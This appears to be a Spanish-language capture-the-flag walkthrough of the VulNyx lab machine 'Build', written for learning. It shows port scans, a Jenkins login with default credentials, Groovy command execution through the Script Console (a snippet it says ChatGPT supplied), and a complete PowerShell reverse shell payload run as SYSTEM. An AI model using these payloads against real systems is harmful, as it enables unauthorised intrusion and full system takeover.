VulNyx - Build

logo

  • Jenkins Default Credentials
  • Remote Code Execution via Jenkins Script Console (Groovy)
  • Reverse Shell via PowerShell Executed from Jenkins
  • Windows Privilege Escalation – Execution as NT AUTHORITY\SYSTEM

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.40

PORT      STATE SERVICE      REASON
80/tcp    open  http         syn-ack ttl 128
135/tcp   open  msrpc        syn-ack ttl 128
139/tcp   open  netbios-ssn  syn-ack ttl 128
445/tcp   open  microsoft-ds syn-ack ttl 128
5040/tcp  open  unknown      syn-ack ttl 128
7680/tcp  open  pando-pub    syn-ack ttl 128
8080/tcp  open  http-proxy   syn-ack ttl 128
49664/tcp open  unknown      syn-ack ttl 128
49665/tcp open  unknown      syn-ack ttl 128
49666/tcp open  unknown      syn-ack ttl 128
49667/tcp open  unknown      syn-ack ttl 128
49668/tcp open  unknown      syn-ack ttl 128
49669/tcp open  unknown      syn-ack ttl 128
49670/tcp open  unknown      syn-ack ttl 128

Escaneo de servicios

❯ nmap -sVC -p 80,135,139,445,5040,7680,8080,49664,49665,49666,49667,49668,49669,49670 172.0.100.40

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
5040/tcp  open   unknown
7680/tcp  closed pando-pub
8080/tcp  open   http          Jetty 12.0.19
|_http-server-header: Jetty(12.0.19)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
49670/tcp open   msrpc         Microsoft Windows RPC

HTTP TCP - 80

Servicio HTTP corriendo bajo IIS en Windows. No se identificaron recursos relevantes o interactivos.

http

HTTP TCP - 8080

Interfaz web de Jenkins expuesta públicamente.

8080

Se accede a Jenkins utilizando credenciales por defecto: admin/admin.

dashboard

Dentro del panel de Jenkins, en la sección “Tools and Actions”, se accede a “Consola de scripts”.

tools

Esta consola permite ejecutar código Groovy directamente en el sistema

sconsole

📌 Consulta a ChatGPT

Para identificar cómo ejecutar comandos del sistema con Groovy, se consulta a ChatGPT, que sugiere el siguiente ejemplo funcional:

def comando = "cmd /c dir"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text

Este fragmento se prueba en la consola y confirma que la ejecución de comandos está habilitada.

dir

Posteriormente, se ejecuta:

def comando = "cmd /c whoami"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text

Esto revela que los comandos se ejecutan con nt authority\system, el nivel más alto en entornos Windows.

whoami

Reverse Shell – Acceso Interactivo

Dado que se cuenta con ejecución remota como SYSTEM, se lanza una reverse shell en PowerShell utilizando código Groovy desde la consola de Jenkins.

def comando = 'powershell -NoP -NonI -W Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient(\'172.0.100.25\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"'

def process = comando.execute()
process.waitFor()
println "[+] Reverse shell ejecutada"

El payload generado es ejecutado desde la Script Console, lo que permite establecer una sesión remota con privilegios elevados.

rshellOK

Se establece exitosamente una reverse shell con privilegios de SYSTEM.

root

🏴‍☠️ Recolección de Flags.

Con acceso interactivo, se procede a buscar y leer las flags en los escritorios de los usuarios:

Get-ChildItem -Path "C:\Users\*\Desktop\*.txt" -Force -Recurse

flags

📖 Leer contenido de las flags:

Para visualizar el contenido de las posibles flags ubicadas en los escritorios de los usuarios, se pueden emplear las siguientes opciones:

🔹 Opción simple:

Muestra el contenido de todos los archivos .txt encontrados directamente:

Get-Content C:\Users\*\Desktop\*.txt

🔹 Opción detallada:

Recorre cada archivo y muestra su ruta junto con el contenido:

Get-ChildItem "C:\Users\*\Desktop\*.txt" -Force -ErrorAction SilentlyContinue | % { "`n--- $($_.FullName) ---"; Get-Content $_.FullName -ea SilentlyContinue }

Y así concluye el viaje en la máquina Build.

Que el destino te guíe.

Saludos.